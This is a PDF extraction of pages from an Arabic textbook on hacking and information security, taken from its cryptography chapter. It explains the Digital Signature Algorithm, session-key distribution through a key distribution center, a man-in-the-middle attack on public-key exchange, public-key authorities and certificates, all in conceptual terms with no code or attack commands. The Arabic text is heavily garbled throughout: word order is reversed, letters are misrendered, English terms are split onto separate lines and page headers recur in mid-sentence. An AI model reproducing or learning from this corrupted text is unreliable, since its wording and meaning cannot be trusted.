Digital Signature Security Standard (DSS) is a technology for creating digital signatures that was
developed by the National Security Agency and adopted by the United States government as its
digital-signature standard. DSS defines the Digital Signature Algorithm (DSA), DSA does not
encrypt message digests with the private key or decrypt the message digest with the public key!.
it uses special mathematical functions to generate a digital signature composed of two 160-bit
numbers (s & r) that are derived from the message digest and the private key. Then it uses the
public key to verify the signature.
‫ال‬ ‫ذذه‬ ‫تعمل‬ ‫كيف‬
Algorithm
‫؟‬
‫ال‬ ‫تستخدم‬ ‫لهنا‬
Hash Function
‫إلنتاج‬
hash code
ُ‫مل‬‫ا‬ ‫الرسالة‬ ‫من‬
‫ال‬ ‫م‬َ‫َخد‬‫ت‬‫س‬ُ‫ي‬ ‫ثم‬ ،‫لرساهلا‬ ‫راد‬
hash code
‫ك‬ ‫ذذا‬
input
‫ال‬ ‫لاىل‬
(
Signature Algorithm
.)
‫ال‬ ‫ذذه‬ ‫تعتمد‬
Signature
‫ال‬ ‫استخدام‬ ‫عىل‬
private key
‫ال‬ ‫عىل‬ ‫وتعتمد‬ ،‫التشفري‬ ‫يف‬
public key
‫لال‬ ،‫التشفري‬ ‫قك‬ ‫يف‬
‫ال‬ ‫وذو‬ ،‫العملية‬ ‫ذذه‬ ‫يف‬ ً‫ا‬‫أيض‬ ‫ثالث‬ ‫عنرص‬ ‫تستقبل‬ ‫أهنا‬
Global Public Key (Pug)
‫ال‬ ‫من‬ ‫جمموعة‬ ‫عن‬ ‫بارة‬‫ع‬ ُ‫ه‬‫لن‬
parameters
.‫الطرقني‬ ‫ال‬‫ك‬ ‫يستخدمها‬ ‫التي‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[378]
‫ذذه‬ ‫عن‬ ‫ُج‬‫ت‬‫ن‬َ‫ي‬ ‫النهاية‬ ‫يف‬
‫ال‬
Algorithm
‫وذم‬ ‫الرسالة‬ ‫مع‬ ‫لضاقتهم‬ ‫م‬‫ت‬َ‫ي‬ ‫قيمتني‬
(
s
( ‫و‬ )
r
.)
:‫التفاصيل‬ ‫يف‬ ‫ل‬ ُ
‫ط‬‫َد‬‫ن‬‫ل‬ ‫ذيا‬
‫يق‬
‫ال‬ ‫إلنتاج‬ ‫احلسابية‬ ‫العمليات‬ ‫بعض‬ ‫بعمل‬ ‫األول‬ ‫الطرف‬ ‫وم‬
(
s
)
‫وال‬
(
r
،)
‫ال‬ ‫ذذا‬
r
‫وال‬
s
‫ل‬ ‫ج‬‫نوات‬ ‫يكونا‬ َ
‫س‬
functions
‫ال‬ ‫ا‬‫ِب‬ ‫ل‬ ُ
‫دط‬َ‫ي‬
"
public key components
"
‫ال‬ ‫م‬ُ‫وذ‬
(p,q,g)
‫وا‬ ،
‫ل‬
private key
‫ب‬ ‫له‬ ‫َرمز‬‫ن‬‫و‬ ‫األول‬ ‫بالطرف‬ ‫اخلاص‬
(x)
‫وال‬ ،
hash code
‫ب‬ ‫له‬ ‫ونرمز‬ ‫بالرسالة‬ ‫اخلاص‬
H(M)
ً‫ا‬‫وأطري‬ ،
‫عملية‬ ‫لكل‬ ‫نستخدمه‬ ‫عشوائي‬ ‫رقم‬
Sign
‫ب‬ ‫له‬ ‫ونرمز‬ ‫ِبا‬ ‫نقوم‬
(k)
.
‫ال‬ ‫ذذه‬ ‫تدطل‬ ‫كيف‬ ‫يوضح‬ ‫شكل‬ ‫ماييل‬
parameters
‫ال‬ ‫لتكوين‬
(
s
)
‫وال‬
(
r
:)
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[379]
‫الرسالة‬ ‫تدطل‬
M
‫ال‬ ‫لىل‬
hash function
‫ال‬ ‫انتاج‬ ‫ليتم‬
hash code
‫ال‬ ‫عىل‬ ‫صول‬ُ‫حل‬‫ا‬ ‫معادلة‬ ‫يف‬ ‫األطري‬ ‫ل‬ ُ
‫يدط‬ ‫م‬ُ‫ث‬
(s)
،
‫ال‬ ‫نستخدم‬ ُ
‫حيث‬
k
‫ال‬ ‫مع‬ ً‫ا‬‫أيض‬
q
‫نا‬ُ‫ذ‬ ‫الرسالة‬ ‫المة‬ َ
‫س‬ ‫ُحدد‬‫ت‬‫س‬ ‫التي‬ ‫القيمة‬ ‫أن‬ ‫الحظ‬ .
‫ال‬ ‫ذي‬
(r)
،
‫سيقوم‬ ‫التي‬ ‫وذي‬
‫ذ‬ ‫عىل‬ ‫التدقيق‬ ‫وببعض‬ ،!‫اطتبارذا‬ ‫أجل‬ ‫من‬ ‫حساباته‬ ‫بإجراء‬ ‫الثاين‬ ‫الطرف‬
‫ال‬ ‫ذه‬
Algorithm
‫ال‬ ‫أن‬ ‫ستجد‬ ‫الرائعة‬
(r)
‫الرسالة‬ ‫عىل‬ ‫تعتمد‬ ‫ال‬ ‫ذذه‬
(M)
‫ال‬ ‫أن‬ ‫بمعنى‬ ،!‫يشء‬ ‫يف‬
(M)
‫يزيد‬ ‫ما‬ ‫وذذا‬ ،‫ا‬‫ِب‬ ‫اخلاصة‬ ‫دطالت‬ُ‫مل‬‫ا‬ ‫من‬‫ض‬ ‫ن‬‫م‬ ‫ليست‬
.!‫قوهتا‬
‫إلنتاج‬ ‫سابات‬‫احل‬ ‫عض‬َ‫ب‬ ‫مل‬َ‫ع‬‫ب‬ ‫سيقوم‬ ،‫اآلطر‬ ‫الطرف‬ ‫لىل‬ ‫الرسالة‬ ‫ل‬‫َص‬‫ت‬ ‫وعندما‬
‫ُسميها‬‫ن‬ ‫قيمة‬
(v)
‫سيقوم‬ ،
‫بمقارن‬
‫بال‬ ‫تها‬
(
r
)
.‫الرسالة‬ ‫رقض‬ ‫قيتم‬ ‫ولال‬ ،‫يتشاِبا‬ ‫أن‬ ‫وجيب‬ ،‫األول‬ ‫الطرف‬ ‫من‬ ‫القادمة‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[380]
Key Distribution
‫ال‬ ‫عن‬ ‫املاضية‬ ‫الفقرات‬ ‫يف‬ ‫نتحدث‬ ‫ُنا‬‫ك‬
Symmetric Cryptography
‫وال‬
Asymmetric Cryptography
‫وكيف‬
‫األطرا‬ ‫بني‬ ‫هلا‬ُ‫د‬‫تبا‬ ‫راد‬ُ‫مل‬‫ا‬ ‫البيانات‬ ‫تشفري‬ ‫طالل‬ ‫من‬ ‫اهلدف‬ ‫حتقيق‬ ‫يتم‬
‫ال‬ ‫باستخدام‬ ‫ف‬
“Keys”
.
‫عملية‬ ‫ستتم‬ ‫كيف‬ ‫ولكن‬
‫ال‬ ‫لرسال‬
Key
‫عليه‬ ‫املتفق‬
‫األ‬ ‫لىل‬
‫طر‬
‫ا‬
‫ف‬
‫املشرتك‬
‫ة‬
‫العملي‬ ‫يف‬
‫ة‬
.‫؟‬
‫ذذا‬
‫لدي‬ ‫تكتمل‬ ‫كي‬ ‫نا‬ُ‫ذ‬ ‫عنه‬ ‫سنتحدث‬ ‫ما‬
‫نا‬
.‫الصورة‬
‫ال‬ ‫لعملية‬ ‫سيناريو‬ ‫عن‬ ‫سنتكلم‬
Key Distribution
‫ال‬ ‫باستخدام‬
Symmetric Encryption
‫مرة‬
،
‫ال‬ ‫وباستخدام‬
Encryption
Asymmetric
.‫أطرى‬ ً‫ة‬‫مر‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[381]
Using Symmetric Key Encryption
‫ال‬ ‫شكل‬ ‫ذذا‬
Symmetric Encryption
‫ال‬ ‫ذذا‬ ‫يصل‬ ‫أن‬ ‫ذنا‬ ‫ونريد‬ ،‫التقليدي‬
key
.!‫ن‬‫آم‬ ‫بشكل‬ ‫للطرقني‬
‫ال‬ ‫ذذا‬ ‫عىل‬ ‫ق‬‫ُطل‬‫ن‬‫س‬
key
‫باألعىل‬
“Session Key”
‫ال‬ ‫وذو‬
key
‫الطرقني‬ ‫بني‬ ‫البيانات‬ ‫ل‬ُ‫د‬‫تبا‬ ‫عملية‬ ‫يف‬ ‫ستخدم‬ُ‫مل‬‫ا‬
A
‫و‬
B
،
‫عليه‬ ‫أطلقنا‬
Session
‫بدء‬ ‫عملية‬ ‫عند‬ ‫سيتغري‬ ‫ألنه‬
Session
‫ال‬ ‫عىل‬ ‫ينطبق‬ ‫ذذا‬ .‫جديدة‬
Applications
‫التي‬
‫ال‬ ‫تستخدم‬
TCP
.‫عام‬ ‫بشكل‬ ‫البيانات‬ ‫لنقل‬ ‫كربوتوكول‬
‫سيقوم‬
A
‫عىل‬ ‫بالتواقق‬
Key (Ka)
‫عليه‬ ‫ق‬‫ُطل‬‫ن‬ ‫آطر‬
“Master Key”
،
‫وبني‬ ‫بينه‬
‫ثالث‬ ‫طرف‬
(KDC)
،
‫الطرف‬ ً‫ا‬‫وأيض‬
B
‫سيتواقق‬
‫ال‬ ‫ذذا‬ ‫مع‬
(KDC)
‫عىل‬
key
ً‫ا‬‫أيض‬
(Kb)
.
:‫مثال‬ ‫لنأطذ‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[382]
‫الطرف‬ ‫سيقوم‬
A
‫ال‬ ‫شاركة‬ُ‫بم‬
KDC
‫اطتصا‬ ‫وذو‬
‫ر‬
‫ل‬
(Key Distribution Center)
‫فتاح‬‫بم‬
(Ka)
،
‫الطرف‬ ً‫ا‬‫وأيض‬
B
‫ال‬ ‫ذذا‬ ‫مع‬ ‫األمر‬ ‫بنفس‬ ‫سيقوم‬
KDC
‫ني‬َ‫ب‬ ‫علية‬‫ق‬ ‫ل‬ ُ
‫تواص‬ ‫عملية‬ ‫أي‬ ‫قبل‬
A
‫و‬
B
.
‫ف‬ َ‫ر‬َ‫ط‬‫ال‬ ‫رغب‬َ‫ي‬ ‫ندما‬‫وع‬
A
‫فتح‬‫ب‬
Session
‫رف‬َ‫ط‬‫ال‬ ‫ع‬َ‫م‬
B
‫بطلب‬ ‫سيبدأ‬
“Session Key”
‫ال‬ ‫ذذه‬ ‫يف‬ ‫ستخدم‬ُ‫مل‬‫ا‬
Session
‫ال‬ ‫من‬
KDC
.
‫ال‬ ‫طلب‬ ‫عملية‬ ‫تتم‬ ‫كيف‬
Session Key
‫ذذه؟‬
‫الطرف‬ ‫سيدأ‬
A
‫بدء‬ ‫يريد‬ ‫من‬ ‫أنه‬ ‫ض‬‫ولنفر‬
Session
‫الطرف‬ ‫مع‬
B
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[383]
‫ال‬ ‫لىل‬ ‫طلب‬ ‫بإرسال‬ ‫سيبدأ‬
KDC
‫نه‬‫م‬ ‫ب‬ُ‫ل‬‫يط‬
Session Key
ُ‫م‬ ‫ثالثة‬ ‫من‬ ‫يتكون‬ ‫ب‬َ‫ل‬َ‫ط‬‫ال‬ ‫ذذا‬ ،
.‫تغريات‬
‫ال‬ ‫ذو‬ ‫األول‬
IDA
‫ويعني‬
Identity of A
‫ال‬ ‫يكون‬ ‫كأن‬
IP Address
‫به‬ ‫اخلاص‬
‫املثال‬ ‫سبيل‬ ‫عىل‬
،
‫ال‬ ‫ذو‬ ‫والثاين‬
IDB
‫الطرف‬ ‫ألن‬
B
.!‫نا‬ُ‫ذ‬ ‫ن‬‫اآلم‬ ‫اإلتصال‬ ‫بإنشاء‬ ‫املعني‬ ‫ذو‬
‫ال‬ ‫ذو‬ ‫والثالث‬
N1
‫بال‬ ‫أشبه‬ ‫تغري‬ُ‫مل‬‫ا‬ ‫ذذا‬ ..
Sequence number
‫التوا‬ ‫بروتوكوالت‬ ‫ل‬َ‫ب‬‫ق‬ ‫من‬ ‫ستخدم‬ُ‫مل‬‫(ا‬
‫لعمل‬ ‫صل‬
tracking
‫لل‬
packets
‫ال‬ ‫سيكون‬ ،)‫رسلة‬ُ‫مل‬‫ا‬
N1
.‫عشوائي‬ ‫رقم‬ ‫نا‬ُ‫ذ‬
‫ال‬ ‫قيقوم‬
KDC
‫بال‬ ‫تشفريذا‬ ‫تم‬ ‫وقد‬ ُ‫ه‬‫ل‬ ‫سالة‬‫ر‬ ‫بإرسال‬ ‫عليه‬ ‫د‬‫الر‬‫ب‬
(Ka)
‫الطرف‬ ‫قيتمكن‬ ،
A
‫مع‬ ‫اتفق‬ ‫قد‬ ‫ألنه‬ ‫قكها‬ ‫من‬
‫ال‬
KDC
‫ال‬ ‫ذذا‬ ‫عىل‬
Key
.‫ل‬‫ب‬َ‫ق‬ ‫ن‬‫م‬
ُ‫م‬ ‫دة‬‫ع‬ ‫نها‬‫م‬ ‫ج‬ ُ‫خر‬َ‫ي‬ َ
‫س‬ ‫قكها‬ َ‫عد‬َ‫ب‬ ‫الرسالة‬ ‫ذذه‬
..ً‫ا‬‫أيض‬ ‫تغريات‬
‫ال‬ ُ‫ه‬‫ل‬ ‫عطي‬ُ‫ي‬ َ
‫س‬
KDC
‫ال‬
Session Key
‫ريده‬ُ‫ي‬ ‫الذي‬
A
‫ال‬ ‫لبدء‬
Session
‫مع‬
B
‫ال‬ ‫وذو‬
(Ks)
‫حمتويات‬ ‫بإضاقة‬ ‫ويقوم‬ ،
‫له‬ ‫أرسلها‬ ‫التي‬ ‫السابقة‬ ‫الرسالة‬
A
،
‫ال‬ ‫ذذا‬ ‫أن‬ ‫عىل‬ ‫للتأكيد‬ ‫وذذا‬
Response
‫بال‬ ‫طاص‬
Request
ّ‫يل‬‫ل‬ ‫أرسلته‬ ‫الذي‬
‫غريه‬ ‫لطلب‬ ‫وليس‬ ،!‫اآلن‬
‫م‬ ‫يظهر‬ ‫وذذا‬ ،
‫ال‬ ‫لرجاع‬ ‫طالل‬ ‫ن‬
KDC
‫العشوائي‬ ‫الرقم‬ ‫نفس‬
N1
‫لىل‬
A
‫ل‬‫م‬ َ
‫حت‬ ،‫ذو‬ ‫كام‬
‫ال‬ ً‫ا‬‫أيض‬ ‫سالة‬ ِّ‫الر‬
Kb
‫ال‬ ‫وذو‬ ،
Key
‫ال‬ ‫أعطاه‬ ‫الذي‬
KDC
‫للطرف‬
B
.
‫ال‬ ‫يعطي‬ ‫وملاذا‬
KDC
‫للطرف‬
A
‫ال‬
Kb
‫ه؟‬ ُ
‫ُص‬ َ
‫خي‬ ‫ال‬ ‫قهو‬ ،‫ذذا‬
‫يقوم‬ ‫لكي‬ ‫ذذا‬
A
‫الطرف‬ ‫بإعطاء‬
B
‫ال‬
Ks
‫ال‬ ‫وذو‬
“Session Key”
،
‫ر‬ ‫يف‬ ‫بإرساله‬ ‫قيقوم‬
‫رة‬‫شف‬ُ‫م‬ ‫سالة‬
‫بال‬
Kb
‫كي‬
‫يتمكن‬
B
‫ال‬ ‫عىل‬ ‫واحلصول‬ ‫قكها‬ ‫من‬
Ks
‫سيستخدمه‬ ‫الذي‬
A
‫للطرف‬ ‫ريد‬ُ‫ي‬‫ما‬ ‫إلرسال‬ ‫بعد‬ ‫قيام‬
B
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[384]
‫لل‬ ‫لتحقيق‬ ‫وضعهم‬ ‫تم‬ ‫واخلامسة‬ ‫والرابعة‬ ‫الثالثة‬ ‫اخلطوات‬ ‫أن‬ ‫الحظ‬
“Authentication”
‫الطرقني‬ ‫بني‬
A
‫و‬
B
،‫ققط‬
‫ال‬ ‫عملية‬ ‫ضمن‬ ‫من‬ ‫وليست‬
Key Distribution
Using Asymmetric Encryption
‫ال‬ ‫عن‬ ‫تكلمنا‬
Asymmetric Encryption
‫ال‬ ‫طالله‬ ‫نستخدم‬ ‫الذي‬ ‫وذو‬
Public Keys
.‫التشفري‬ ‫قك‬ ‫عملية‬ ‫يف‬
‫ال‬ ‫لرسال‬ ‫طرف‬ ‫ألي‬ ‫ويمكن‬
Public Key
‫لجراء‬ ‫يعد‬ ‫وذذا‬ ،‫التايل‬ ‫الشكل‬ ‫يف‬ ‫يظهر‬ ‫كام‬ ‫يريده‬ ‫طرف‬ ‫ألي‬ ‫به‬ ‫اخلاص‬
‫قربام‬ ،!‫آمن‬ ‫غري‬
‫ب‬ ‫أحدذم‬ ‫يقوم‬
‫أي‬ ‫إرسال‬
Public Key
‫أنه‬ ‫واإلدعاء‬
A
‫يف‬ ً‫ا‬‫طصوص‬
‫حاالت‬
‫الربيدي‬ ‫املجموعات‬
‫ة‬
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[385]
‫و‬
‫ط‬‫بس‬ُ‫م‬ ‫مثال‬ ‫ذذا‬
‫يوضح‬
‫ال‬ ‫لرسال‬
(Ks)
‫ال‬ ‫باستخدام‬
Asymmetric Encryption
.
‫الطرف‬ ‫نا‬ُ‫ذ‬ ‫يقوم‬
A
‫ال‬ ‫بإرسال‬
Public Key
‫به‬ ‫اخلاص‬
(PUa)
‫الطرف‬ ‫لىل‬
B
‫قيقوم‬ ،
B
‫ال‬ ‫بإرسال‬
Ks
‫ال‬ ‫وذو‬
“Session Key”
‫لىل‬
A
‫بعد‬
‫تشفريه‬
‫ال‬ ‫باستخدام‬
(PUa)
،
‫قيقوم‬
A
‫ال‬ ‫باستخدام‬ ‫التشفري‬ ‫بفك‬
Private Key
.‫به‬ ‫اخلاص‬
.
‫السيناريو‬ ‫هلذا‬ ‫مكن‬ُ‫مل‬‫ا‬ ‫من‬ ‫ولكن‬
‫لل‬ ‫يتعرض‬ ‫أن‬
MITM Attack
:‫الشكل‬ ‫ِبذا‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[386]
‫السيد‬ ‫سيقوم‬
Darth
‫بال‬ ‫باإلمساك‬ ‫نا‬ُ‫ذ‬
PUa
‫بعمل‬ ‫يقوم‬ ‫م‬ُ‫ث‬ ،‫به‬ ‫واالحتفاظ‬
generate
‫ل‬
Public Key
ُ‫ه‬‫رسل‬ُ‫ي‬‫و‬ ‫جديد‬
‫لىل‬
Alice
‫العود‬ ‫يف‬ ‫م‬ُ‫ث‬ ،
‫ة‬
‫ال‬ ‫سيأيت‬
Ks
‫ُسخ‬‫ن‬ ‫يأطذ‬ ،‫له‬
‫ة‬
‫ال‬ ‫باستخدام‬ ‫أطرى‬ ً‫ة‬‫مر‬ ‫تشفريه‬‫ب‬ ‫قوم‬َ‫ي‬ ‫م‬ُ‫ث‬ ُ‫ه‬‫ن‬‫م‬
PUa
‫عيد‬ُ‫ي‬‫و‬
‫السيد‬ ‫لىل‬ ‫لرساله‬
Bob
.
‫ال‬ ‫بتوزيع‬ ‫للقيام‬ ‫آمنة‬ ‫طريقة‬ ‫وجود‬ ‫يلزم‬ ‫وبالتايل‬
Public Keys
.!‫للخطر‬ ‫تعرضها‬ ‫دون‬ ‫األطراف‬ ‫بني‬
‫س‬ ‫وذذا‬
‫يتم‬
‫يتم‬ ‫كأن‬ ‫ثالث‬ ‫طرف‬ ‫بوجود‬
‫تسليم‬
‫ال‬
Key
‫التالي‬ ‫الطرق‬ ‫أحد‬ ‫باستخدام‬ ‫أو‬ ،‫يدوي‬ ‫بشكل‬
‫ة‬
‫ال‬ ‫ليصال‬ ‫عملية‬ ‫يف‬
PUa
‫لىل‬
B
‫ال‬ ‫لرسال‬ ‫م‬ُ‫ث‬ ،
Ks
.‫بعد‬ ‫قيام‬
Distribution of Public Key Methods
 Public-Key Authority
 Public-Key Certificate
Public-Key Authority
Using
‫ال‬ ‫باستخدام‬ ‫سيناريو‬ ‫عن‬ ‫اآلن‬ ‫سنتكلم‬
Public-Key Authority
:
‫وجود‬ ‫نفرض‬‫ل‬
Central Authority
‫لدهيا‬
Server
‫ال‬ ‫به‬ ‫ن‬‫ز‬ ُ
‫ُم‬
Public Keys
‫ب‬ ‫اخلاصة‬
‫ال‬
Clients
‫ال‬ ‫ويكون‬ ،
Public Key
‫ال‬ ‫ِبذه‬ ‫اخلاص‬
Authority
ً‫ا‬‫معلوم‬
.‫لدهيم‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[387]
‫بني‬ ‫االتصال‬ ‫لنشاء‬ ‫تفاصيل‬ ‫يوضح‬ ‫سيناريو‬ ‫ذذا‬
A
‫و‬
B
‫ال‬ ‫عرب‬
Authority
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[388]
‫اخل‬ ‫الشكل‬ ‫يف‬ ‫يظهر‬
‫ع‬َ‫ب‬‫ت‬ُ‫مل‬‫ا‬ ‫طوات‬
‫ة‬
‫بقيام‬ ‫تبدأ‬ ،‫العملية‬ ‫ذذه‬ ‫يف‬
A
‫ال‬ ‫وذو‬
Initiator
‫ال‬ ‫لىل‬ ‫طلب‬ ‫بإرسال‬
Authority
‫ال‬ ‫ب‬ُ‫ل‬‫يط‬
Public Key
‫بالطرف‬ ‫اخلاص‬
B
.
‫ال‬ ‫بإرسال‬ ‫عليه‬ ‫قرتد‬
Public Key
‫بالطرف‬ ‫اخلاص‬
B
‫رة‬‫شف‬ُ‫م‬ ‫برسالة‬
‫بال‬
Private Key
‫بال‬ ‫اخلاص‬
Authority
‫أن‬ ‫ام‬‫وب‬ ،
A
‫ال‬ ‫لديه‬
Public Key
.‫التشفري‬ ‫قك‬ ‫من‬ ‫قسيتمكن‬ ‫ِبا‬ ‫اخلاص‬
‫يقوم‬
A
‫ال‬ ‫بإرسال‬
ID
‫باطتياره‬ ‫يقوم‬ ‫عشوائي‬ ‫رقم‬ ‫مع‬ ‫به‬ ‫اخلاص‬
N1
‫لىل‬
B
‫رة‬‫شف‬ُ‫م‬ ‫رسالة‬ ‫يف‬
‫ال‬ ‫باستخدام‬
PUb
.
‫قيقوم‬
B
‫ال‬ ‫بطلب‬
PUa
‫ال‬ ‫من‬
Authority
..ً‫ا‬‫أيض‬ ‫ذو‬
‫و‬
ُ‫ي‬
‫لىل‬ ‫رسل‬
A
‫العشوائي‬ ‫الرقم‬ ‫نفس‬
N1
‫بعمل‬ ‫ويقوم‬ ،
Increment
‫بواح‬ ‫الرقم‬ ‫هلذا‬
‫ُسميه‬‫ن‬‫ل‬ ،ً‫ال‬‫مث‬ ‫د‬
N2
‫ال‬ ‫ن‬‫م‬ ‫َنوع‬‫ك‬ ‫األول‬ ‫مع‬ ً‫ا‬‫أيض‬ ‫ويرسله‬ ،
Authentication
‫لرساهلم‬ ‫يتم‬ .
‫بال‬ ‫رة‬‫شف‬ُ‫م‬ ‫رسالة‬ ‫يف‬
PUa
‫اخلطو‬ ‫يف‬ ‫يظهر‬ ‫كام‬
‫ة‬
‫رقم‬
(6)
.
‫عليه‬ ‫د‬ُ َ
‫ري‬َ‫ق‬
A
‫الرقم‬ ‫بإرسال‬
N2
!‫عل‬‫الف‬‫ب‬ ‫لليه‬ َ
‫وصل‬ ‫قد‬ ‫أنه‬ ‫له‬ ‫ليؤكد‬ ‫أطرى‬ ً‫ة‬‫مر‬
‫باخلطو‬ ‫موضح‬ ‫ذو‬ ‫كام‬ ،
‫ة‬
‫رقم‬
(7)
.
Using Public-Key Certificate
‫الطريقة‬ ‫يف‬ ‫تكلمنا‬
‫السابق‬
‫ة‬
‫ال‬ ‫عملية‬ ‫عن‬
“public key distribution”
‫قيام‬ ‫آمن‬ ‫بشكل‬ ‫التواصل‬ ‫يودان‬ ‫طرقني‬ ‫أي‬ ‫بني‬
‫طريق‬ ‫عن‬ ‫بينهم‬
Trusted Third Party
‫ال‬ ‫وذي‬
Public Key Authority
‫السيناريو‬ ‫عىل‬ ‫التدقيق‬ ‫بعض‬ ‫وبإجراء‬ .
‫مر‬ ‫كل‬ ‫يف‬ ‫أنه‬ ‫ُالحظ‬‫ن‬‫س‬ ‫السابق‬
‫ة‬
‫ريد‬ُ‫ي‬
‫الطرف‬
A
‫بال‬ ‫اإلتصال‬ ‫عليه‬ ‫ب‬‫ج‬َ‫َو‬‫ت‬َ‫ي‬ َ
‫س‬ ‫آطر‬ ‫طرف‬ ‫أي‬ ‫مع‬ ‫التواصل‬
Autority
،
‫اإلجراء‬ ‫وذذا‬
ُ‫م‬
‫ستهل‬
‫ك‬
ً‫ا‬
.‫للوقت‬
‫ال‬ ‫باستخدام‬ ‫األمر‬ ‫ذذا‬ ‫عىل‬ ‫ب‬ُّ‫ل‬َ‫غ‬َ‫ت‬‫ال‬ ‫تم‬
Certificates
‫ال‬ ‫ذذه‬ ‫ُتيح‬‫ت‬ .
Certificates
‫ل‬ُ‫د‬‫ا‬َ‫ب‬َ‫ت‬‫ل‬ ‫بينها‬ ‫قيام‬ ‫التواصل‬ ‫لألطراف‬
‫ال‬
Public Keys
‫احلاج‬ ‫دون‬
‫ة‬
‫للتواصل‬
‫ال‬ ‫طالل‬
Public Key Authority
.
‫ز‬ِّ‫ي‬َ‫م‬ُ‫مل‬‫ا‬ ‫اخلصائص‬ ‫بعض‬ ‫ذذه‬
‫ة‬
‫لل‬
Certificate
:
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[389]
1
.
‫مع‬ ‫يتواصل‬ ‫طرف‬ ‫ألي‬
A
‫ال‬ ‫قراءة‬ ‫يستطيع‬
Certificate
‫الطرف‬ ‫بيانات‬ ‫عىل‬ ‫طالهلا‬ ‫من‬ ‫واإلطالع‬
A
‫وعىل‬
‫ال‬
Public Key
.‫به‬ ‫اخلاص‬
2
.
‫ال‬ ‫من‬ ‫ق‬ُ‫ق‬‫التح‬ ‫يستطيع‬ ‫طرف‬ ‫أي‬
Authority
َ‫ح‬‫املان‬
‫ة‬
‫ال‬ ‫هلذه‬
Certificate
‫ال‬ ‫ذذه‬ ‫أن‬ ‫من‬ ‫التأكد‬ ‫بمعنى‬ ،
Certificate
‫زيف‬ُ‫م‬ ‫ليست‬
‫ة‬
.!
3
.
‫ال‬ ‫ذذه‬ ‫صالحية‬ ‫أو‬ ‫تاريخ‬ ‫من‬ ‫ق‬ُّ‫ق‬‫التح‬ ُ‫ه‬‫ن‬‫مك‬ُ‫ي‬ ‫م‬‫ستخد‬ُ‫م‬ ‫أو‬ ‫طرف‬ ‫أي‬
Certificate
،
‫التا‬ ‫يعد‬ ‫بالطبع‬
‫اخلصائص‬ ‫من‬ ‫ريخ‬
‫املهم‬
‫ة‬
‫ُالحظ‬‫ن‬ ،‫للشهادات‬
‫تح‬َ‫ق‬ ‫تصفحات‬ُ‫مل‬‫ا‬ ‫رقض‬
‫بعض‬
‫عدم‬ ‫حالة‬ ‫يف‬ ‫اإلنرتنت‬ ‫واقع‬َ‫م‬
‫الك‬ ‫جهاز‬ ‫ساعة‬ ‫ضبط‬
‫مبيوتر‬
،
‫ال‬ ‫أن‬ ‫حينها‬ ‫َرب‬‫ت‬‫ع‬َ‫ي‬ ُ
‫حيث‬
Certificates
‫الصالحي‬ ‫نتهية‬ُ‫م‬
‫ة‬
.!
4
.
‫لل‬ ‫ققط‬ ‫ق‬ َ
‫حي‬
Certificate Authority
‫ال‬ ‫جتديد‬ ‫أو‬ ‫لنشاء‬ ‫عملية‬
Certificate
.
‫ال‬ ‫عىل‬ ‫منهم‬ ‫كل‬ ‫حصول‬ ‫عملية‬ ‫عن‬ ‫التايل‬ ‫الشكل‬ ِّ
‫عرب‬ُ‫ي‬‫و‬
Certificate
‫اخلاص‬
‫ة‬
‫ال‬ ‫من‬ ‫به‬
Certificate Authority
:
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[390]
‫ب‬ ‫الشخص‬ ‫يقوم‬
‫ال‬ ‫إرسال‬
Public Key
‫ال‬ ‫لىل‬ ‫به‬ ‫اخلاص‬
CA
‫ال‬ ‫بإرسال‬ ‫ذي‬ ‫وتقوم‬ ،
Public Key (PUauth)
.‫لليه‬ ‫ِبا‬ ‫اخلاص‬
‫ال‬ ‫داطل‬ ‫الشهادة‬ ‫لنشاء‬ ‫عملية‬ ‫تتم‬ ‫م‬ُ‫ث‬
CA
‫لىل‬ ‫بإرساهلا‬ ‫تقوم‬ ‫وبعدذا‬ ،‫اخلطوات‬ ‫من‬ ‫جمموعة‬ ‫بتطبيق‬
‫بال‬ ‫ة‬ َ‫ر‬ّ‫ف‬‫ش‬ُ‫م‬ ‫رسالة‬ ‫ذيئة‬ ‫عىل‬ ،‫بالشكل‬ ‫يظهر‬ ‫كام‬ ‫ذاته‬ ‫الشخص‬
PUauth
‫ا‬‫وِب‬
‫لسمه‬ ‫من‬ ‫الشخص‬ ‫ذذا‬ ‫بيانات‬
‫أو‬
ID
‫وال‬ ،‫به‬ ‫اخلاص‬
Public Key
‫سمى‬ُ‫ي‬ ‫أطري‬ ‫ويشء‬ ،‫به‬ ‫اخلاص‬
Timestamp (T)
‫وذو‬ ،
field
‫صدور‬ ‫تاريخ‬ ‫عن‬ ِّ
‫رب‬َ‫ع‬ُ‫ي‬
‫الشهادة‬
‫ال‬ ‫من‬ ‫للتحقق‬ ‫املستلم‬ ‫الطرف‬ ‫قبل‬ ‫من‬ ‫ويستخدم‬
Currency
‫الشهاد‬ ‫هلذه‬
‫ة‬
.
